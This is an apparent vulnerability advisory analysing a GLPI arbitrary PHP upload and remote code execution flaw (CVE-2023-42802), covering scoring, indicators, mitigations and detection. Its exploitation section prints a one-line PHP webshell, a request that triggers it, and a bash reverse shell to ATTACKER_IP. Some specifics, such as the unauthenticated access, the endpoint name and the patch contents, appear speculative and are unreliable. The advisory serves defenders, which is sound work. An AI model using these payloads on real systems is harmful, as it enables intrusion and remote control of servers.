Description
GLPI is a free asset and IT management software package. Starting in version 10.0.7 and prior to version 10.0.10, an unverified object instantiation allows one to upload malicious PHP files to unwanted directories. Depending on web server configuration and available system libraries, malicious PHP files can then be executed through a web server request. Version 10.0.10 fixes this issue. As a workaround, remove write access on `/ajax` and `/front` files to the web server.
EPSS Score:
2%
Comprehensive Technical Analysis of EUVD-2023-47229 (CVE-2023-42802)
GLPI Unverified Object Instantiation Leading to Arbitrary PHP File Upload & Remote Code Execution (RCE)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2023-47229 (CVE-2023-42802) is a critical-severity vulnerability in GLPI (Gestionnaire Libre de Parc Informatique), an open-source IT asset and service management (ITSM) platform. The flaw stems from unverified object instantiation, allowing unauthenticated attackers to upload malicious PHP files to arbitrary directories on the web server. If the web server is misconfigured or lacks proper file execution restrictions, these files can be executed remotely, leading to full system compromise (RCE).
CVSS v3.1 Scoring & Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 10.0 (Critical) | Highest possible score due to unauthenticated RCE with severe impact. |
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user action required. |
| Scope (S) | Changed (C) | Impacts components beyond the vulnerable system (e.g., web server, underlying OS). |
| Confidentiality (C) | High (H) | Full data disclosure possible. |
| Integrity (I) | High (H) | Complete system modification possible. |
| Availability (A) | High (H) | Full denial of service or system takeover. |
EPSS & Exploitability Assessment
- EPSS Score: 2.0% (Indicates a low-to-moderate probability of exploitation in the wild, though critical vulnerabilities often see rapid weaponization.)
- Exploit Maturity: Likely proof-of-concept (PoC) available or in development, given the simplicity of the flaw (file upload → RCE).
- Threat Actor Interest: High, due to:
- Unauthenticated access (no credentials required).
- Widespread deployment of GLPI in enterprise and government environments.
- Potential for lateral movement post-exploitation.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Flow
-
Initial Access:
- Attacker identifies a vulnerable GLPI instance (version 10.0.7 ≤ x < 10.0.10).
- No authentication is required; the flaw is pre-authentication.
-
Malicious File Upload:
- The vulnerability allows unverified object instantiation, enabling the attacker to bypass file upload restrictions.
- A crafted HTTP request (e.g., via
/ajaxor/frontendpoints) uploads a PHP webshell (e.g.,shell.php) to a writable directory.
-
Remote Code Execution (RCE):
- If the web server (e.g., Apache, Nginx) is configured to execute PHP files in the upload directory, the attacker triggers the webshell via:
GET /path/to/uploaded/shell.php?cmd=id HTTP/1.1 - Successful execution grants arbitrary command execution with the privileges of the web server user (e.g.,
www-data,apache).
- If the web server (e.g., Apache, Nginx) is configured to execute PHP files in the upload directory, the attacker triggers the webshell via:
-
Post-Exploitation:
- Privilege Escalation: If the web server runs with elevated privileges, the attacker may gain root access.
- Lateral Movement: Compromised GLPI instances may serve as a pivot point into internal networks.
- Data Exfiltration: Sensitive IT asset data (e.g., credentials, network diagrams) can be stolen.
- Persistence: Attackers may install backdoors or cryptominers.
Proof-of-Concept (PoC) Considerations
- A PoC would likely involve:
- Crafting a malicious file upload request (e.g., via
multipart/form-data). - Bypassing file extension checks (e.g.,
.php,.phtml). - Triggering execution by accessing the uploaded file.
- Crafting a malicious file upload request (e.g., via
- Metasploit module or custom exploit scripts may emerge, lowering the barrier for less skilled attackers.
3. Affected Systems & Software Versions
Vulnerable Versions
- GLPI versions 10.0.7 through 10.0.9 (inclusive).
- Fixed in version 10.0.10 (released to patch the flaw).
Deployment Contexts at Risk
- Enterprise IT Asset Management: GLPI is widely used in European organizations (e.g., government, healthcare, education, SMEs).
- Cloud & On-Premise Deployments: Both self-hosted and managed instances are vulnerable.
- Integrated Environments: GLPI often integrates with:
- LDAP/Active Directory (credential exposure risk).
- Monitoring tools (e.g., Zabbix, Nagios).
- Ticketing systems (e.g., OTRS, ServiceNow).
Indicators of Compromise (IoCs)
- Unexpected PHP files in
/ajax,/front, or other writable directories. - Web server logs showing:
- Unusual
POSTrequests to/ajaxor/frontendpoints. - Access to uploaded
.phpfiles (e.g.,GET /uploads/shell.php).
- Unusual
- Process execution from the web server user (e.g.,
www-datarunningbash,python, orcurl).
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
-
Upgrade to GLPI 10.0.10 or Later
- Primary remediation: Apply the official patch immediately.
- Download link: GLPI 10.0.10 Release.
-
Workaround: Restrict Write Permissions
- Remove write access for the web server user (
www-data,apache) on:chmod -R 550 /var/www/html/glpi/ajax chmod -R 550 /var/www/html/glpi/front - Note: This may break legitimate functionality; test thoroughly.
- Remove write access for the web server user (
-
Network-Level Protections
- Web Application Firewall (WAF) Rules:
- Block requests to
/ajaxand/frontwith suspicious file upload patterns. - Example ModSecurity rule:
SecRule REQUEST_FILENAME "@pmFromFile /path/to/glpi_upload_dirs.txt" \ "id:1000,phase:1,t:none,deny,status:403,msg:'GLPI Unverified Upload Attempt'"
- Block requests to
- IP Whitelisting: Restrict GLPI access to trusted networks.
- Web Application Firewall (WAF) Rules:
-
File Integrity Monitoring (FIM)
- Deploy tools like Tripwire or AIDE to detect unauthorized file changes in GLPI directories.
Long-Term Hardening (Best Practices)
-
Secure Web Server Configuration
- Disable PHP execution in upload directories:
<Directory "/var/www/html/glpi/uploads"> php_flag engine off </Directory> - Use
open_basedirto restrict PHP file access:open_basedir = /var/www/html/glpi
- Disable PHP execution in upload directories:
-
Least Privilege Principle
- Run the web server as a low-privilege user (e.g.,
glpi-userinstead ofwww-data). - Restrict database user permissions.
- Run the web server as a low-privilege user (e.g.,
-
Regular Vulnerability Scanning
- Use Nessus, OpenVAS, or Burp Suite to scan for GLPI vulnerabilities.
- Monitor CVE databases (e.g., NVD, EUVD) for new GLPI flaws.
-
Incident Response Planning
- Isolate compromised systems immediately.
- Forensic analysis to determine the scope of the breach.
- Rotate credentials stored in GLPI (e.g., database passwords, API keys).
5. Impact on the European Cybersecurity Landscape
Sector-Specific Risks
| Sector | Risk Level | Potential Impact |
|---|---|---|
| Government | Critical | Compromise of IT asset databases, espionage, or disruption of public services. |
| Healthcare | High | Exposure of patient data (GDPR violations), ransomware attacks. |
| Education | High | Student/faculty data theft, disruption of digital learning platforms. |
| Finance | Medium-High | Financial data exposure, fraud, or compliance violations (PSD2, DORA). |
| Critical Infrastructure | Critical | Potential cascading effects on energy, transport, or telecom sectors. |
Regulatory & Compliance Implications
- GDPR (General Data Protection Regulation):
- Unauthorized access to personal data (e.g., employee records) may trigger mandatory breach notifications (Article 33) and fines up to €20M or 4% of global revenue (Article 83).
- NIS2 Directive (Network and Information Security):
- GLPI is often used in essential services (e.g., healthcare, energy). A breach could lead to regulatory scrutiny and mandatory reporting.
- DORA (Digital Operational Resilience Act):
- Financial entities must ensure third-party risk management; GLPI vulnerabilities could violate DORA requirements.
Threat Actor Targeting
- State-Sponsored Actors: Likely to exploit GLPI in espionage campaigns (e.g., APT29, Sandworm).
- Cybercriminals: May use RCE for ransomware deployment (e.g., LockBit, BlackCat) or data theft for extortion.
- Hacktivists: Could target government or corporate GLPI instances for disruption or defacement.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerability Type: Insecure Object Deserialization → Arbitrary File Upload → RCE
- Code-Level Flaw:
- GLPI’s file upload mechanism lacked proper validation of object instantiation, allowing attackers to bypass security checks.
- The
/ajaxand/frontendpoints were writable by the web server, enabling malicious file placement.
- Patch Analysis (GLPI 10.0.10):
- Added input validation for file uploads.
- Restricted write permissions on sensitive directories.
- Implemented stricter file extension checks (e.g., blocking
.php,.phtml).
Exploitation Technical Deep Dive
-
File Upload Bypass:
- Attacker sends a
multipart/form-datarequest to/ajax/fileupload.phpwith a malicious PHP payload. - Example payload:
<?php system($_GET['cmd']); ?> - The vulnerability allows the file to be written to an unintended directory (e.g.,
/var/www/html/glpi/uploads/).
- Attacker sends a
-
Triggering Execution:
- Attacker accesses the uploaded file via:
http://vulnerable-glpi.example.com/uploads/shell.php?cmd=id - If PHP execution is enabled, the command (
id) executes with web server privileges.
- Attacker accesses the uploaded file via:
-
Post-Exploitation Techniques:
- Reverse Shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' - Credential Dumping:
- Extract database credentials from
config_db.php. - Dump LDAP/AD credentials if GLPI is integrated.
- Extract database credentials from
- Persistence:
- Add a cron job or web shell in a hidden directory.
- Reverse Shell:
Detection & Forensic Analysis
- Log Analysis:
- Apache/Nginx Logs:
grep -E "POST /ajax|POST /front" /var/log/apache2/access.log grep -E "\.php" /var/log/apache2/access.log | grep -v "403" - GLPI Logs:
- Check
/var/www/html/glpi/files/_log/for suspicious uploads.
- Check
- Apache/Nginx Logs:
- Memory Forensics:
- Use Volatility or Rekall to detect injected PHP processes.
- Network Traffic Analysis:
- Look for unexpected outbound connections (e.g., to attacker-controlled C2 servers).
Advanced Mitigation Techniques
- Containerization:
- Deploy GLPI in a Docker container with read-only filesystems for sensitive directories.
- Runtime Application Self-Protection (RASP):
- Tools like OpenRASP can block PHP execution in upload directories.
- Zero Trust Architecture:
- Enforce micro-segmentation to limit lateral movement post-exploitation.
Conclusion & Recommendations
EUVD-2023-47229 (CVE-2023-42802) is a critical RCE vulnerability in GLPI with severe implications for European organizations. Given its CVSS 10.0 score, unauthenticated nature, and widespread deployment, immediate action is required:
- Patch Immediately: Upgrade to GLPI 10.0.10 or later.
- Apply Workarounds: Restrict write permissions on
/ajaxand/frontif patching is delayed. - Monitor for Exploitation: Deploy WAF rules, FIM, and log analysis to detect attacks.
- Prepare for Incident Response: Assume breach and isolate compromised systems if IoCs are found.
- Compliance Review: Ensure GDPR, NIS2, and DORA obligations are met post-remediation.
Proactive measures—such as regular vulnerability scanning, least privilege enforcement, and network segmentation—are essential to mitigate future risks in GLPI and similar ITSM platforms.
References: